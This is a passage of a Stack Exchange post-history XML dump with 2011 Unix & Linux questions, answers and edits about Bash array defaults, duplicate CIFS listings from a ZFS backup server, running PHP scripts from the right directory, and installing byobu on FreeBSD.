/>
  <row Id="26350" PostHistoryTypeId="24" PostId="421" RevisionGUID="348c49ad-d7c2-47c3-9169-c7673569d08d" CreationDate="2011-04-08T11:58:40.733" Comment="Proposed by 1594 approved by 29 edit id of 254" />
  <row Id="26351" PostHistoryTypeId="2" PostId="10898" RevisionGUID="f6f1061d-cce1-48f6-a714-95a6d43b5500" CreationDate="2011-04-08T12:03:56.297" UserId="3645" Text="I was expecting&#xD;&#xA;&#xD;&#xA;    excludes=&quot;${excludes:-( ${default_excludes[@]} )}&quot;&#xD;&#xA;&#xD;&#xA;to be an array if `$excludes` is empty. Unfortunately the stuff after `:-` is taken to be a string. Did I miss some syntax contortion, or do I have to use the clunky&#xD;&#xA;&#xD;&#xA;    if [ -z &quot;${excludes:-}&quot; ]&#xD;&#xA;    then&#xD;&#xA;        excludes=( &quot;${default_excludes[@]}&quot; )&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;?" />
  <row Id="26352" PostHistoryTypeId="1" PostId="10898" RevisionGUID="f6f1061d-cce1-48f6-a714-95a6d43b5500" CreationDate="2011-04-08T12:03:56.297" UserId="3645" Text="Write default array to variable in Bash" />
  <row Id="26353" PostHistoryTypeId="3" PostId="10898" RevisionGUID="f6f1061d-cce1-48f6-a714-95a6d43b5500" CreationDate="2011-04-08T12:03:56.297" UserId="3645" Text="ébashàéarrayà" />
  <row Id="26354" PostHistoryTypeId="25" PostId="10826" RevisionGUID="fb7e5329-c583-4235-b01a-86a47b73496f" CreationDate="2011-04-08T12:09:03.393" Comment="http://twitter.com/#!/StackUnix/status/56327693645520896" />
  <row Id="26355" PostHistoryTypeId="2" PostId="10899" RevisionGUID="669bfd82-830b-4520-a1b7-1d9fa0fc860e" CreationDate="2011-04-08T12:27:28.390" UserId="3447" Text="On KDE there is the [Blogilo](http://kde.org/applications/internet/blogilo/) application.  I've only used it a little bit, but it supports uploading to the major blog engines." />
  <row Id="26356" PostHistoryTypeId="6" PostId="417" RevisionGUID="b874c225-741f-417e-89c6-e7c98e658551" CreationDate="2011-04-08T12:56:17.367" UserId="2511" Comment="edited tags" Text="ésoftwareörecàéeditorsà" />
  <row Id="26357" PostHistoryTypeId="2" PostId="10900" RevisionGUID="60c3a90f-cee2-4c7f-bdf9-68c289581c98" CreationDate="2011-04-08T14:00:41.050" UserId="2343" Text="A bit of research and I found this site. I like his style.. :) I actually understood it enough to work it out.. (the title is quite appropriate :)&#xD;&#xA;&#xD;&#xA; * The Deep, Dark Secrets of Bash&#xD;&#xA; * http://linuxgazette.net/issue55/okopnik.html  &#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;    echo&#xD;&#xA;    i=0; for T in A &quot;B B&quot; &quot;C   C   C&quot; ; do&#xD;&#xA;       Y[$i]=&quot;$T&quot;; echo Y[$i]=&quot;${Y[i]}&quot; ; ((i++)) &#xD;&#xA;    done&#xD;&#xA;    echo &quot;=====&quot;&#xD;&#xA;    unset x; &#xD;&#xA;    x=(&quot;${x:-${Y[@]}}&quot;); for ((i=0;i&lt;${#x[@]};i++)) ; do echo x[$i]=&quot;${x[i]}&quot; ; done&#xD;&#xA;    echo &#xD;&#xA;    #&#xD;&#xA;    exit&#xD;&#xA;    unset x; &#xD;&#xA;    x=(${x:-${y[@]}}); for ((ix=0,ect=${#x[@]};ix&lt;ect;ix++)) ; do echo ${x[ix]} ; done&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;The output is:   &#xD;&#xA;&#xD;&#xA;    Y[0]=A&#xD;&#xA;    Y[1]=B B&#xD;&#xA;    Y[2]=C   C   C&#xD;&#xA;    =====&#xD;&#xA;    x[0]=A&#xD;&#xA;    x[1]=B B&#xD;&#xA;    x[2]=C   C   C&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26358" PostHistoryTypeId="5" PostId="10900" RevisionGUID="30146896-610b-4be9-960d-e77486855e6f" CreationDate="2011-04-08T14:05:45.587" UserId="2343" Comment="deleted 120 characters in body; deleted 2 characters in body; deleted 3 characters in body" Text="A bit of research and I found this site. I like his style..  I actually understood it enough to work it out.. (the title is quite appropriate :)&#xD;&#xA;&#xD;&#xA; * The Deep, Dark Secrets of Bash&#xD;&#xA; * http://linuxgazette.net/issue55/okopnik.html  &#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    i=0; for T in A &quot;B B&quot; &quot;C   C   C&quot; ; do&#xD;&#xA;       Y[$i]=&quot;$T&quot;; echo Y[$i]=&quot;${Y[i]}&quot; ; ((i++)) &#xD;&#xA;    done&#xD;&#xA;    echo &quot;=====&quot;&#xD;&#xA;    unset x; &#xD;&#xA;    x=(&quot;${x:-${Y[@]}}&quot;); for ((i=0;i&lt;${#x[@]};i++)) ; do echo x[$i]=&quot;${x[i]}&quot; ; done&#xD;&#xA;    echo &#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;The output is:   &#xD;&#xA;&#xD;&#xA;    Y[0]=A&#xD;&#xA;    Y[1]=B B&#xD;&#xA;    Y[2]=C   C   C&#xD;&#xA;    =====&#xD;&#xA;    x[0]=A&#xD;&#xA;    x[1]=B B&#xD;&#xA;    x[2]=C   C   C&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26359" PostHistoryTypeId="2" PostId="10901" RevisionGUID="3bdf2210-3ff3-4c13-8f26-94d936fc5760" CreationDate="2011-04-08T14:22:08.047" UserId="1974" Text="[I asked this on ServerFault](http://serverfault.com/q/255465/11086) but received no response, so I figured I'd give it a try over here instead!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have a Debian backup server running the FreeBSD kernel and a ZFS filesystem on which I store backups, using ZFS's snapshot and compression technologies. The Debian server uses `rsync` to pull files from multiple other servers via a cron job. This process works great.&#xD;&#xA;&#xD;&#xA;I then use CIFS to share the backups back to the original servers, so I can easily browse them and restore files from each server. However, when I use `ls` on the servers to look at the contents of certain directories on the backup share (mounted via CIFS) I see the same exact files listed multiple times. Many, many times in fact:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [root@webserver01 public_html]# ls -li /backup/scripts/|less&#xD;&#xA;    total 663621&#xD;&#xA;    57872359 drwxr-xr-x  4 root root      0 Apr  3 21:40 ./&#xD;&#xA;           2 drwxr-xr-x 20 root root      0 Mar 24 18:20 ../&#xD;&#xA;    57872880 -rw-r--r--  1 root root   6494 Dec 16  2008 AcctLock.pm&#xD;&#xA;    57873180 lrwxrwxrwx  1 root root      7 Mar 15 15:21 adddns -&gt; add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;    57872571 -rwxr-xr-x  1 root root   2010 Nov  8 20:55 add_dns*&#xD;&#xA;&#xD;&#xA;But on the debian backup server, it looks fine:&#xD;&#xA;&#xD;&#xA;    root@timestandstill:/# ls -l /backups/myvenue/scripts/|less&#xD;&#xA;    total 1893&#xD;&#xA;    -rw-r--r-- 1 root root   6494 Dec 16  2008 AcctLock.pm&#xD;&#xA;    lrwxrwxrwx 1 root root      7 Mar 15 15:21 adddns -&gt; add_dns&#xD;&#xA;    -rwxr-xr-x 1 root root   2010 Nov  8 20:55 add_dns&#xD;&#xA;    -rwxr-xr-x 1 root root   5797 Nov  8 20:55 addfpmail&#xD;&#xA;    -rwxr-xr-x 1 root root   1949 Nov  8 20:55 addpop&#xD;&#xA;    -rwxr-xr-x 1 root root    490 Oct 10  2007 addservlets&#xD;&#xA;    -rwxr-xr-x 1 root root     53 Mar 10  2008 adduser&#xD;&#xA;    -rwxr-xr-x 1 root root    305 Mar 23  2006 admin&#xD;&#xA;    -rwxr-xr-x 1 root root   3926 Nov  8 20:55 after_perl_upgrade&#xD;&#xA;    -rw-r--r-- 1 root root    654 Mar 23  2006 anonuser.patch&#xD;&#xA;    -rwxr-xr-x 1 root root   2961 Nov  8 20:55 apachelimits&#xD;&#xA;    -rwxr-xr-x 1 root root   1014 Sep 23  2010 apacheloadcheck&#xD;&#xA;    -rw-r--r-- 1 root root     99 Mar 23  2006 aquota.user_emptyfs.gz&#xD;&#xA;    -rw-r--r-- 1 root root   3023 Nov  8 20:55 archive_sync_zones&#xD;&#xA;    -rwxr-xr-x 1 root root   1109 Nov  8 20:55 autorepair&#xD;&#xA;    -rwxr-xr-x 1 root root   5167 Nov  8 20:55 bandminup&#xD;&#xA;    -rwxr-xr-x 1 root root   1540 Nov  8 20:55 biglogcheck&#xD;&#xA;    -rwxr-xr-x 1 root root    252 Mar 23  2006 bitstest&#xD;&#xA;    -rwxr-xr-x 1 root root   2224 Nov  8 20:55 bsdbindfix&#xD;&#xA;    -rwxr-xr-x 1 root root   2479 Nov  8 20:55 bsdcryptoinstall&#xD;&#xA;    -rwxr-xr-x 1 root root   3003 Nov  8 20:55 bsdi386compatinstall&#xD;&#xA;    -rwxr-xr-x 1 root root    430 Nov  8 20:55 bsdldconfig&#xD;&#xA;    -rwxr-xr-x 1 root root   2363 Nov  8 20:55 bsdpkgpingtest&#xD;&#xA;    -rwxr-xr-x 1 root root    452 Dec 16  2008 buildbsdexpect&#xD;&#xA;    -rwxr-xr-x 1 root root   2766 Nov  8 20:55 builddovecotconf&#xD;&#xA;    -rwxr-xr-x 1 root root   5298 Nov  8 20:55 buildeximconf&#xD;&#xA;&#xD;&#xA;What could be causing this and how can I resolve it? **I'm not tied to CIFS, so if there's a better technology I am open to it.** I was using NFS before when the backup server was Open Solaris, but it seems Debian doesn't support NFS when using the FreeBSD kernel...&#xD;&#xA;" />
  <row Id="26360" PostHistoryTypeId="1" PostId="10901" RevisionGUID="3bdf2210-3ff3-4c13-8f26-94d936fc5760" CreationDate="2011-04-08T14:22:08.047" UserId="1974" Text="Why is my CIFS share showing the same files multiple times?" />
  <row Id="26361" PostHistoryTypeId="3" PostId="10901" RevisionGUID="3bdf2210-3ff3-4c13-8f26-94d936fc5760" CreationDate="2011-04-08T14:22:08.047" UserId="1974" Text="édebianàésambaàéfileösharingàézfsà" />
  <row Id="26362" PostHistoryTypeId="2" PostId="10902" RevisionGUID="0ce6120b-2cd2-4ca5-a23c-93057c2e62d6" CreationDate="2011-04-08T14:42:39.657" UserId="4485" Text="    mc &#xD;&#xA;&#xD;&#xA;The midnight commander is another option. I don't know whether it is available for all unix flavors. You might need to download it first.  &#xD;&#xA;&lt;kbd&gt; F3&lt;/kbd&gt; &lt;kbd&gt; F4&lt;/kbd&gt; to view in internal editor/ in hex mode. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="26363" PostHistoryTypeId="6" PostId="10857" RevisionGUID="8bcaf357-d905-4655-8bf0-de623aeeef7b" CreationDate="2011-04-08T14:46:22.590" UserId="3001" Comment="edited tags" Text="éubuntuàésecurityàéusersàéxenà" />
  <row Id="26364" PostHistoryTypeId="5" PostId="10900" RevisionGUID="67ea80b4-70d9-4785-a59f-6c149b1c18c0" CreationDate="2011-04-08T15:02:22.020" UserId="2343" Comment="added 279 characters in body; added 10 characters in body" Text="UPDATE: I've been testing this further...It is behaving oddly!!, or as you mention, it may not be the right syntax *contortion* :)    &#xD;&#xA;&#xD;&#xA;I'm starting to think that this construct is not appropriate for arrays... It works when `x` is unset, but I've just discoverd that it behaves oddly when `x` *is set* .. The LHS 'x' is assigned to just the first elemnet of the RHS 'x' array ... Perhaps `:=` may do the trick... &#xD;&#xA;&#xD;&#xA;An interesting page: [The Deep, Dark Secrets of Bash](http://linuxgazette.net/issue55/okopnik.html)  &#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    i=0; for T in A &quot;B B&quot; &quot;C   C   C&quot; ; do&#xD;&#xA;       Y[$i]=&quot;$T&quot;; echo Y[$i]=&quot;${Y[i]}&quot; ; ((i++)) &#xD;&#xA;    done&#xD;&#xA;    echo &quot;=====&quot;&#xD;&#xA;    unset x; &#xD;&#xA;    x=(&quot;${x:-${Y[@]}}&quot;); for ((i=0;i&lt;${#x[@]};i++)) ; do echo x[$i]=&quot;${x[i]}&quot; ; done&#xD;&#xA;    echo &#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;The output is:   &#xD;&#xA;&#xD;&#xA;    Y[0]=A&#xD;&#xA;    Y[1]=B B&#xD;&#xA;    Y[2]=C   C   C&#xD;&#xA;    =====&#xD;&#xA;    x[0]=A&#xD;&#xA;    x[1]=B B&#xD;&#xA;    x[2]=C   C   C&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26365" PostHistoryTypeId="25" PostId="10898" RevisionGUID="309e0542-3919-4302-9674-6926795222ce" CreationDate="2011-04-08T15:09:03.717" Comment="http://twitter.com/#!/StackUnix/status/56372993806450689" />
  <row Id="26367" PostHistoryTypeId="17" PostId="10905" RevisionGUID="a35ac8ff-2e74-43d9-a06f-a9d1eab81801" CreationDate="2011-04-08T15:16:47.443" UserId="-1" Comment="from http://askubuntu.com/questions/34063/what-jobs-can-i-do-with-linux/34096#34096" Text="" />
  <row Id="26368" PostHistoryTypeId="17" PostId="10906" RevisionGUID="c5f5bd2a-50ad-4c6b-8f08-6b5e2718ca3b" CreationDate="2011-04-08T15:16:47.443" UserId="-1" Comment="from http://askubuntu.com/questions/34063/what-jobs-can-i-do-with-linux/34108#34108" Text="" />
  <row Id="26370" PostHistoryTypeId="2" PostId="10905" RevisionGUID="ce86672a-907a-49f7-957c-0d68290a42b0" CreationDate="2011-04-08T11:24:39.553" UserId="4946" Text="Many super computers use Linux.&#xD;&#xA;&#xD;&#xA;[This are some of the cool things][1] you can work on with Linux.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A little more boring section. You can do normal every day tasks with Linux. You&#xD;&#xA;can use it for every day desktop productivity. So you might just well use Linux to edit a document, or spread sheet as a secretary.  &#xD;&#xA;&#xD;&#xA;[Google][2] thinks it is a perfect system to use in the office.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Linux#Servers.2C_mainframes_and_supercomputers&#xD;&#xA;  [2]: http://googlesystem.blogspot.com/2010/06/google-employees-need-permission-to-use.html" />
  <row Id="26371" PostHistoryTypeId="2" PostId="10906" RevisionGUID="bacd8ca5-40f8-4707-96c5-33fc7a4dacaa" CreationDate="2011-04-08T12:55:25.637" UserDisplayName="Joni Nevalainen" Text="As Linux is an open operating system, all kinds of standardisation and interoperability work can be done (e.g. stuff that works on all platforms).&#xD;&#xA;&#xD;&#xA;Basic jobs include document handling (openoffice), network design (kompozer, php, apache) and communications (empathy, gwibber, thunderbird, zimbra).&#xD;&#xA;&#xD;&#xA;Programming wise, Linux is great for application development on multiple platforms. Google searches for &quot;platform linux sdk&quot; yield results for instance for Android:&#xD;&#xA;http://developer.android.com/sdk/index.html&#xD;&#xA;&#xD;&#xA;An additional benefit arises if you release your programs as open source. This way, the community can provide more accurate feedback and patches to your work and help with porting the software to different platforms." />
  <row Id="26377" PostHistoryTypeId="5" PostId="10869" RevisionGUID="ecc1fddc-d903-4d1e-bcf6-d383259e3b3c" CreationDate="2011-04-08T15:23:41.250" UserId="6388" Comment="added another option based on comment" Text="In addition to the &lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;k&lt;/kbd&gt; trick, if you're in screen, just &lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;d&lt;/kbd&gt; to detach then reattach with `screen -r`&#xD;&#xA;&#xD;&#xA;You could also just open another window with &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;c&lt;/kbd&gt;" />
  <row Id="26378" PostHistoryTypeId="2" PostId="10907" RevisionGUID="469af36f-3735-46c0-b210-dd545e65eea8" CreationDate="2011-04-08T15:25:00.233" UserId="3389" Text="A lot of web hosts use the LAMP stack or Linux-based derivatives thereof.  You might look into working for a web hosting provider." />
  <row Id="26379" PostHistoryTypeId="2" PostId="10908" RevisionGUID="ea91a90e-411a-47f3-a565-a8b257f25f3b" CreationDate="2011-04-08T15:33:19.713" UserId="4485" Text="    find /tmp -exec du {} + | sort -nr | less &#xD;&#xA;&#xD;&#xA;shows biggest files first, so you can &lt;kbd&gt;q&lt;/kbd&gt;uit as soon as you've seen enough. " />
  <row Id="26380" PostHistoryTypeId="5" PostId="10900" RevisionGUID="402972f4-bdf1-468e-a4f7-ac22e883ab80" CreationDate="2011-04-08T15:42:46.243" UserId="2343" Comment="added 2132 characters in body" Text="UPDATE: I've been testing this further...It is behaving oddly!!, or as you mention, it may not be the right syntax *contortion* :)    &#xD;&#xA;&#xD;&#xA;I'm starting to think that this construct is not appropriate for arrays... It works when `x` is unset, but I've just discoverd that it behaves oddly when `x` *is set* .. The LHS 'x' is assigned to just the first elemnet of the RHS 'x' array ... Perhaps `:=` may do the trick... &#xD;&#xA;&#xD;&#xA;UPDATE 2: I'm convinced that this won't work with arrays (but if I'm wrong, it wouldn't be the first time) ... I've added more tests to the script.. and the nett result is that whenever `x` is assigned a value via this method, it is only assigned the $x / $x[0] value.... &#xD;&#xA;&#xD;&#xA;An interesting page: [The Deep, Dark Secrets of Bash](http://linuxgazette.net/issue55/okopnik.html)  &#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    echo &quot;===============1  'manually' set Y&quot;&#xD;&#xA;    i=0; for T in A &quot;B B&quot; &quot;C   C   C&quot; ; do&#xD;&#xA;       Y[$i]=&quot;$T&quot;; echo Y[$i]=&quot;${Y[i]}&quot; ; ((i++)) &#xD;&#xA;    done&#xD;&#xA;    #&#xD;&#xA;    echo &quot;===============2a  'manually' set x&quot;&#xD;&#xA;    unset x&#xD;&#xA;    i=0; for T in 2 &quot;2 2&quot; &quot;2   2   2&quot; ; do&#xD;&#xA;       x[$i]=&quot;$T&quot;; echo x[$i]=&quot;${x[i]}&quot; ; ((i++)) &#xD;&#xA;    done&#xD;&#xA;    #&#xD;&#xA;    echo &quot;===============2b  (X is already set); ':-'set to Y array, but should keep previous X vals&quot; &#xD;&#xA;    x=(&quot;${x:-${Y[@]}}&quot;); for ((i=0;i&lt;${#x[@]};i++)) ; do &#xD;&#xA;       echo x[$i]=&quot;${x[i]}&quot;&#xD;&#xA;    done&#xD;&#xA;    #&#xD;&#xA;    echo &quot;===============2c  (X is unset); ':-'set to Y array, and should take on new Y vals&quot;&#xD;&#xA;    unset x&#xD;&#xA;    x=(&quot;${x:-${Y[@]}}&quot;); for ((i=0;i&lt;${#x[@]};i++)) ; do &#xD;&#xA;       echo x[$i]=&quot;${x[i]}&quot;&#xD;&#xA;    done&#xD;&#xA;    #&#xD;&#xA;    echo &quot;===============3a  'manually' set x&quot;&#xD;&#xA;    unset x&#xD;&#xA;    i=0; for T in 3 &quot;3 3&quot; &quot;3   3   3&quot; ; do&#xD;&#xA;       x[$i]=&quot;$T&quot;; echo x[$i]=&quot;${x[i]}&quot; ; ((i++)) &#xD;&#xA;    done&#xD;&#xA;    #&#xD;&#xA;    echo &quot;===============3b  (X is already set); ':='set to Y array, but should keep previous X vals&quot; &#xD;&#xA;    echo &quot;${x:=(${Y[@]})}&quot; &gt;/dev/null ; for ((i=0;i&lt;${#x[@]};i++)) ; do &#xD;&#xA;       echo x[$i]=&quot;${x[i]}&quot;&#xD;&#xA;    done&#xD;&#xA;    #&#xD;&#xA;    echo &quot;===============3c  (X is unset); ':='set to Y array, and should take on new Y vals&quot; &#xD;&#xA;    unset x&#xD;&#xA;    echo &quot;${x:=(${Y[@]})}&quot; &gt;/dev/null ; for ((i=0;i&lt;${#x[@]};i++)) ; do &#xD;&#xA;       echo x[$i]=&quot;${x[i]}&quot;&#xD;&#xA;    done&#xD;&#xA;    echo &quot;===============&quot;&#xD;&#xA;    echo&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;The output is:   &#xD;&#xA;&#xD;&#xA;    ===============1  'manually' set Y&#xD;&#xA;    Y[0]=A&#xD;&#xA;    Y[1]=B B&#xD;&#xA;    Y[2]=C   C   C&#xD;&#xA;    ===============2a  'manually' set x&#xD;&#xA;    x[0]=2&#xD;&#xA;    x[1]=2 2&#xD;&#xA;    x[2]=2   2   2&#xD;&#xA;    ===============2b  (X is already set); ':-'set to Y array, but should keep previous X vals&#xD;&#xA;    x[0]=2&#xD;&#xA;    ===============2c  (X is unset); ':-'set to Y array, and should take on new Y vals&#xD;&#xA;    x[0]=A&#xD;&#xA;    x[1]=B B&#xD;&#xA;    x[2]=C   C   C&#xD;&#xA;    ===============3a  'manually' set x&#xD;&#xA;    x[0]=3&#xD;&#xA;    x[1]=3 3&#xD;&#xA;    x[2]=3   3   3&#xD;&#xA;    ===============3b  (X is already set); ':='set to Y array, but should keep previous X vals&#xD;&#xA;    x[0]=3&#xD;&#xA;    x[1]=3 3&#xD;&#xA;    x[2]=3   3   3&#xD;&#xA;    ===============3c  (X is unset); ':='set to Y array, and should take on new Y vals&#xD;&#xA;    x[0]=(A B B C   C   C)&#xD;&#xA;    ===============&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26381" PostHistoryTypeId="2" PostId="10909" RevisionGUID="b04f23f8-3ca1-4d2e-b56a-fb4897fe06e8" CreationDate="2011-04-08T16:08:10.307" UserId="6406" Text="I'm executing a php file from the php-cli with a shell script. One of the php files creates a file named `available_data` during the course of its execution. The problem is that the php file needs to write the file `available_data` to the same directory where the php file resides on the server /var/www/html. Instead it writes the file to the directory where the shell script resides /bin/scripts/.&#xD;&#xA;&#xD;&#xA;Here's my script (resides in /bin/scripts/createview.sh)&#xD;&#xA;&#xD;&#xA;    php /var/www/html/createview_customer.php&#xD;&#xA;&#xD;&#xA;I think the problem is that the php file executes in /bin/scripts. How can I get the php file to execute in /var/www/html instead?&#xD;&#xA;" />
  <row Id="26382" PostHistoryTypeId="1" PostId="10909" RevisionGUID="b04f23f8-3ca1-4d2e-b56a-fb4897fe06e8" CreationDate="2011-04-08T16:08:10.307" UserId="6406" Text="Execute file in its native directory with shell script" />
  <row Id="26383" PostHistoryTypeId="3" PostId="10909" RevisionGUID="b04f23f8-3ca1-4d2e-b56a-fb4897fe06e8" CreationDate="2011-04-08T16:08:10.307" UserId="6406" Text="éshellöscriptàéphpà" />
  <row Id="26384" PostHistoryTypeId="2" PostId="10910" RevisionGUID="dd231862-b8cc-4a26-8f60-bce7aa59d921" CreationDate="2011-04-08T16:20:15.697" UserId="6407" Text="I've got mostly Ubuntu servers, but have a need for 2 FreeBSD boxes. On all of the Ubuntu systems I've gotten extremely used to having Byobu on top of GNU Screen. I've been trying to figure out how to get it installed on the FreeBSD boxes from the source tarball, but run into problems at every turn.&#xD;&#xA;&#xD;&#xA;I've got everything listed in the README installed. (screen, python-newt, and gsed) But I'm still not able to run it properly. It will multiplex the screen just fine, but The bottom line that displays system status and context information just says &quot;Invalid Message (magic 0x00000000000)&quot; and byobu-config says that the snack module is not installed, which I can't seem to find.&#xD;&#xA;&#xD;&#xA;Anyone have any ideas or pointers?" />
  <row Id="26385" PostHistoryTypeId="1" PostId="10910" RevisionGUID="dd231862-b8cc-4a26-8f60-bce7aa59d921" CreationDate="2011-04-08T16:20:15.697" UserId="6407" Text="Install byobu (screen-profiles) on FreeBSD" />
  <row Id="26386" PostHistoryTypeId="3" PostId="10910" RevisionGUID="dd231862-b8cc-4a26-8f60-bce7aa59d921" CreationDate="2011-04-08T16:20:15.697" UserId="6407" Text="ébashàéterminalàéfreebsdàéscreenàébyobuà" />
  <row Id="26387" PostHistoryTypeId="2" PostId="10911" RevisionGUID="71fa69dd-2298-4bf6-90d4-c5a2cafbaed4" CreationDate="2011-04-08T16:28:39.170" UserId="5666" Text="Either modify your shell script to&#xD;&#xA;&#xD;&#xA;    cd /var/www/html &amp;&amp; php ./createview_customer.php&#xD;&#xA;&#xD;&#xA;or modify your php script to find its directory first and open the file in that dir&#xD;&#xA;&#xD;&#xA;    $dirpath = dirname(__FILE__);&#xD;&#xA;    $handle = fopen(&quot;$dirpath/somefile.txt&quot;, &quot;w&quot;);" />
  <row Id="26388" PostHistoryTypeId="5" PostId="10911" RevisionGUID="d4cd0185-4469-4e53-8404-3c94eb35fa40" CreationDate="2011-04-08T16:37:03.300" UserId="5666" Comment="added 131 characters in body; added 6 characters in body; added 7 characters in body; deleted 138 characters in body" Text="Modify your shell script to&#xD;&#xA;&#xD;&#xA;    cd /var/www/html &amp;&amp; php ./createview_customer.php; cd -&#xD;&#xA;&#xD;&#xA;or better modify your php script to find its directory first and open the file in that dir&#xD;&#xA;&#xD;&#xA;    $dirpath = dirname(__FILE__);&#xD;&#xA;    $handle = fopen(&quot;$dirpath/somefile.txt&quot;, &quot;w&quot;);" />
